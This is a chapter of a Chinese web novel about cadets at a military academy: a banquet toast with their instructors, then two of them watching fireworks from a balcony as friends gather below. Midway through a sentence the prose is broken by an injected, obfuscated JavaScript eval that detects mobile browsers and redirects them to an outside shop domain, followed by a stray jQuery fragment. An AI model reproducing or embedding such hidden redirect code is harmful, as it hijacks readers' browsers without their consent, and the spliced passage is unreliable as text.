伊琳娜喝得可能也有点多。
克拉伦斯聊完之后转回来,她半秒后才意识到对方在看自己。那双眼睛在烛光里显得比平时颜色浅了一些,带着一种安静的、不加掩饰的询问。
"嗯?"
"没什么。"伊琳娜把酒杯放回桌上,"去跟老师们碰碰?"
克拉伦斯把自己从椅背上撑起来,拿起酒杯。"好主意。"
两人穿过长桌之间的过道,军礼服在烛光下偶尔擦过。弦乐四重奏正拉到一个轻快的乐章,大提琴的低音在脚底微微震动。经过奥维莉娅身边时,这位金发双马尾大小姐正在往沈的杯子里加某种颜色可疑的烈酒,东方宁晏伸手把杯子截走了。奥维莉娅抬头看见伊琳娜,嘴一张刚要说什么,伊琳娜已经走过去了。
教师区比学生区热闹得不遑多让。几个教官的领口松了,军礼服扣子解到了第二颗,笑声撞在大礼堂的穹顶上又被弹回来。伊丽莎白不知什么时候又回到了军官区这边,面前一位头发花白的教授端着酒杯笑得肩膀发抖。
卡列西斯坐在军官区靠边缘的位置,对面的老战友拉穆尔正在拆一包什么零食。两个人面前的桌上战况斐然。一瓶已经空了,一瓶只剩三分之一,第三瓶刚打开。卡列西斯的脸比上课时红了至少三个色号,脊背倒是仍然挺直,灌了钢筋的脊梁骨不会被几杯红酒泡软。
"拉穆尔。"卡列西斯远远看见两人,抬起下巴朝他们方向点了一下,"这两个就是刚才我跟你说过的小麻烦。"
拉穆尔转过头来。是个面善的中年人,鬓角刚白,穿政工处的深蓝色军礼服,肩章上的铭牌反着烛光。他打量二人的目光很快,但不唐突。
卡列西斯拍了拍克拉伦斯的肩膀,力道不轻,杯里的酒晃了一下没洒。"你还记得我们在阿尔卑斯那次吗?这小子和乔治那个老混蛋有的一拼。不过那家伙现在是中将了,没空掺和咱们两个老东西。"
"乔治·陈?"拉穆尔挑起一边眉毛。
"对,就是他。当年带着侦察连搞穿插搞出大名堂的那个。"卡列西斯转向克拉伦斯和伊琳娜,挥了下手像是要把话题从回忆里拎出来,"小子,说实话,你是我见过最优秀的苗子之一。还有弗洛拉。你们俩要是以后进了WULA,别忘了我这个老头子——哈哈,指不定未来我的退休金归你们管。"
伊琳娜端着酒杯站得笔直。"将军,您退休金还是自己管着比较稳妥。我们怕给您管出负数。"
卡列西斯笑了。笑声不大但震得桌上的空酒瓶晃了一下。拉穆尔在旁边慢悠悠地剥着零食,没帮腔。
卡列西斯把杯子搁下。笑声收了。他靠在椅背上,手指在杯沿上慢慢转了一圈。
"所以别给赫利俄斯丢人。"
像一块石头沉进水里,水面还在,但重量不一样了。
"不光是在这里。"他看着伊琳娜,又看着克拉伦斯,"从这里出去以后,到了WULA,到了任何一个地方,你报上名字,别人会问你是赫利俄斯一期生?然后他们会拿你衡量赫利俄斯本身。"
烛火在他脸上投出一明一暗两个面。
"这个学校没有前人可以替你们挡在前面,你们就是前人。你们是什么样子,以后人们眼里的赫利俄斯就是什么样子。这个担子不该落在十八九岁的小孩身上——"他端起杯子喝了一口,"但谁让招生办把你们捞进来了。"
拉穆尔在旁边把零食往盘子里一放,拍了拍手上的碎屑,语气是那种专门用来给老战友的话收尾的松弛调子:"他的意思是他教不了你俩了。"
卡列西斯横了他一眼。拉穆尔继续剥零食。
"我说的是别丢人。你要是在WULA碰上一个叫乔治·陈的中将,可以跟他提我的名字——就说卡列西斯还不打算退休,让他别惦记。"
伊琳娜和克拉伦斯举起杯子。卡列西斯端起自己那只厚玻璃杯,三只杯子碰在一起,烛火在杯沿上跳了一下。
敬完酒,伊琳娜低头看了看手表。七点四十。
礼堂里的人声比开席时厚了一层,聊天的密度更密,热菜轮换了几轮之后节奏慢下来,但气氛没有降下去,反而从最初那种"终于考完了"的释放过渡到了更绵长的惬意。伴乐从弦乐四重奏换成了一支小型爵士乐队,钢琴在角落里自顾自地踩着轻快的切分音。
伊琳娜把空杯放回侍者的托盘,顺手拿了一杯新的白葡萄酒。酒液在杯壁上挂了一层薄薄的膜,她晃了一下,看着酒泪慢慢往下滑。
她转向身旁比她高了半个头的黑发男子。他也正好兴致不错地换了杯新酒,军礼服的领口还是扣着的,但领结被拽松了一点。大概是在卡列西斯桌边站太久了,烛火烤的。
"出去透透气?"
---
大厅外,夜风从肯尼亚山方向翻过围墙,带着高原特有的凉意和某种远处干草的淡味。赫利俄斯的校园在十二月的晚上并不冷,但和礼堂里的温度差了一层薄薄的凉,恰好够让人清醒又不至于打个寒噤。
两人没走远,溜达着就到了大厅旁边二楼的连廊。不高不低,视野极佳。连廊的石栏杆正好齐腰,站在这里能看到整个余烬广场和更远处太空电梯的银色轨道。轨道灯在云层之下亮着,一串银色的光点从地面延伸到云层之上。四棱台的棱线在夜色里被灯光切出一明一暗两个面,镰刀和星系的浮雕在地面射灯的照射下拉出长影。
克拉伦斯把胳膊搭在栏杆上,身体微微前倾,眯着眼抿了一口酒。红酒的余温在舌根上慢慢散开。他趴着的样子有点懒,肩膀放松地垂下来,军礼服的肩线在这种姿态下反而更贴合。
"寒假有什么打算?"伊琳娜问。
"你呢?"克拉伦斯反问了一句,声音比平时慢半拍。他眯着眼又喝了一口,整个人像一只趴在窗台上晒太阳的猫。只是太阳换成了月亮,窗台换成了石栏杆。
伊琳娜看着他那副样子,嘴角压不住地往上跑了一点点。她放弃了对形象的挣扎,也把胳膊撑在栏杆上,和他并排趴着。她的白色高马尾被夜风掀起来几缕,从肩头扫过军礼服的肩章,扫过锁骨前的领带,又落回去。
"回家看爸爸妈妈。给赛娜再带点东西,小丫头三天两头给我打视频。顺便回去——"她把酒杯举到唇边,"拷打拷打她的数学成绩。"
"我打算去世界联合教科文组织和赫利俄斯组织的支教活动。实践出真知嘛。我家那边冬天夜晚太长,回家也是猫在家里,不如去尽一点绵薄之力。"克拉伦斯说完喝了口酒,"我刚开席时跟乔宁娜说了,她说她明天问问教务具体情况,也打算去。"
"好啊,有意义。"伊琳娜把酒杯搁在栏杆上,侧头看他。
夜风从连廊尽头穿过来,把他额前的碎发掀起来几根。伊琳娜继续道;
"开宴前我问了问东方。她说她和沈估计是去月球静海基地实习三周。阿德莱德今年要考战斗机飞行员C照。奥维莉娅——"伊琳娜顿了一下,语气里带了一种"你猜到了吗"的轻笑,"大概率也会去考。这半年里教的东西足够考执照了,做做适应性训练就行。西尔维娅——"
她说这个名字的时候声音稍微收了收。
"你知道你让西尔维娅很不痛快吧。她跟我聊了几句,说寒假估计要去一线培养战斗经验。也是有价值的事。"
"都有自己的目标啊……"克拉伦斯笑了笑。这句话没有语气词该有的轻飘。它落下来的时候很稳,像是一句结论在出口之前已经被掂量过了。他的眼睛在太空电梯的方向微微眯着,眼底的光不全是酒意。
伊琳娜倚着栏杆望向他,发现他的笑容和刚才在礼堂里不一样。礼堂里的他是放松的,但那是一种"暂时把什么东西搁下了"的放松。此刻的他是另一种——趴在栏杆上,眯着眼,看着远处银色轨道的光,嘴角的弧度很浅。他平时的样子在慵懒和优秀之间无缝切换,在全神贯注与漫不经心之间毫无形象。但此刻这个笑容插不进那些分类里。它不属于其中的任何一端。
平时的克拉伦斯并不难接近,但也不容易真正靠近。他认真的时候是向内收的,散漫的时候是向外散的,两者之间隔着一层很薄的膜,不说察觉不到,感觉到了也说不清那是什么。此刻那层膜和栏杆上的夜风一起被掀开了。他趴在这里看远处太空电梯的样子,像一个在战火与雪原中长大的孩子,仍然保留着如最初牙牙学语时便带在身上的、对世界没有附加条件的善意。
伊琳娜放弃了对形象的挣扎,也许在更早的时候就放弃了,也许在第一次穿上体能服和他在跑道上加跑时就已经放弃了。她把双手交叠搭在栏杆上,下巴搁在手背上,以一种以往很少见但从开学到现在越来越多见的雀跃望着他。她的脸被白葡萄酒的温度微微染红,夜风吹过额前碎发的时候也不去撩,就让它扫过眉毛。
正要开口说什么——
"piu——砰。"
第一朵烟花在余烬广场上空炸开。银白色的光点向四面八方散开,拖着细长的尾迹,在半空中停留了一秒,然后第二朵紧跟着升上去,金色,比第一朵更大,炸开时花瓣状的光点在夜空中铺成一把伞,再缓缓坠向广场的四棱台方向。
"是烟花表演!"楼下有人喊了一句。
连廊下面的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930047|213613||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
石板路上紧接着便响起了杂乱的脚步声。学员三三两两从礼堂侧门涌出来,人头在广场边缘越聚越多。几个教官也出来了,手里还端着杯子,仰头看着天上。有人吹了一声口哨,被旁边的人拍了一巴掌,然后两个人一起笑了。
第三朵烟花是红色的。接着第四朵——蓝白相间,双层,外层先炸,内层在半秒后从外层的余烬中穿出来继续往上冲。太空电梯的银色轨道在烟花炸开的瞬间被映成了流动的彩鳞。
克拉伦斯没有看烟花。
伊琳娜正拖着下巴,侧脸被不断变幻的烟火光芒映得明明暗暗。红光照在她左边颧骨上,蓝光扫过她右眼的虹膜。她的嘴角翘着,一种很明丽的、很安静的、像在看一件属于自己的好东西的笑容。眸中是彩色的焰火。礼服的黑色后摆被夜风从栏杆缝隙里微微吹起,布料的边缘像一只小小的手,轻轻牵住了他的衣服下摆。
她看着天上,他看着她。烟花一朵一朵地炸,她没有注意到他的目光。
这种同行的感觉——还不错。
楼底。
"找到了!"
奥维莉娅拽着阿德莱德的袖子从侧门台阶上挤出来,双马尾在人群里格外扎眼。她抬头看见二楼连廊上的两个人影,立刻在嘴角挂上了一个次日酒醒之后一定会被否认的笑容。
"你看——"她拿胳膊肘捅阿德莱德。
"看到了。"阿德莱德被她拽着袖子,勉强站稳,抬头看了一眼。她今晚也喝了几杯,站姿仍然是笔直的,但被奥维莉娅拖着走的时候没有像平时一样数落她的站姿不规范。
乔宁娜被阿德莱德另一只手扶着从人群里钻出来。她在晚宴后半程靠在阿德莱德肩膀上睡了半个多小时,被夜风一吹,迷迷糊糊地睁开眼,眼镜歪在脸上。然后她看到了天上的烟花。
一秒钟之内她的眼睛就亮了。
"烟——"她往前迈了一步,"——花!"
这一步直接踩到了台阶边缘以下三十厘米的虚空。
东方宁晏从她身后一把攥住她的胳膊。"看路。"
乔宁娜转过头,眼睛里的烟花还没散,嘴里还在傻笑。东方宁晏把她扶稳之后,手里还攥着另一个人的后领。沈被她从礼堂里拖出来的时候嘴里还没有放弃念念有词,只是内容换成了解释自己为什么不需要被扶着。他被东方攥着后领跟在乔宁娜后面,走路的直线度约等于一条在海浪中勉力前行的舢板。
"你能站住吗。"东方问他。
"能。"沈坚定地回答,然后往旁边歪了十度。
"站直,立正。"
"我在站直。"
"你的直和数学意义上的直有一个夹角。"
沈认真思考了片刻。"那是参照系的问题。"
东方放弃了和这个喝蒙了的竹马继续辩论。她调整了一下握他后领的角度,让他歪进了自己的肩膀范围之内。
西尔维娅从另一侧的台阶走出来,没有往人群里挤。她在台阶中段找了个位置坐下来,用手肘撑着膝盖,仰头看天上的烟火。军礼服的肩章在烟花光下反着微弱的光。她看向连廊方向,远远地抬手朝两个人打了个招呼。手势不大,但挥得利落。
至于某对情侣——礼堂侧门外常青藤缠绕的廊柱后面,有两个靠得很近的影子。烟花炸开的时候那个方向传来了一声压得很低的笑。细节不足为外人道,但大概是在某个浪漫的角落里深情交换口水。
烟花已经放到了第七轮。紫色和金色混在一起在空中摆开,像一朵菊花开在倒流的雨里。然后是第八轮——绿色,拖着长尾从广场正上方划过,尾迹还没消散就被下一朵粉白色的覆盖了。太空电梯的轨道灯在烟花间隙中仍然稳定地亮着,银色的光点从地面一直延伸到云层之上,和头顶那些转瞬即逝的光形成了某种安静的对照。
克拉伦斯举起手里的酒杯,向楼下的同伴们遥遥一晃。动作不大,优雅从容——像是在对着一整桌熟人举杯致意,眼底的光和连廊下的笑声融在一起。
奥维莉娅在楼下双手抱着阿德莱德的胳膊,仰头朝他晃了晃自己的杯子。她的笑容太过明显,已经到了不需要任何语言补充的程度。
阿德莱德被她抱着胳膊,没法举杯,只好微微点了一下头。
伊琳娜也举起了她的白葡萄酒杯。
两只杯子在连廊的石栏杆上方轻轻碰在一起。玻璃相触的声音被下一朵烟花炸开的气浪盖过去了,听不见,但能感觉到杯沿传来的那一记轻微的震动,沿着指尖、手腕、手臂,一路传到某个比脉搏更深的地方。
白葡萄酒的后调是淡淡的甘草香。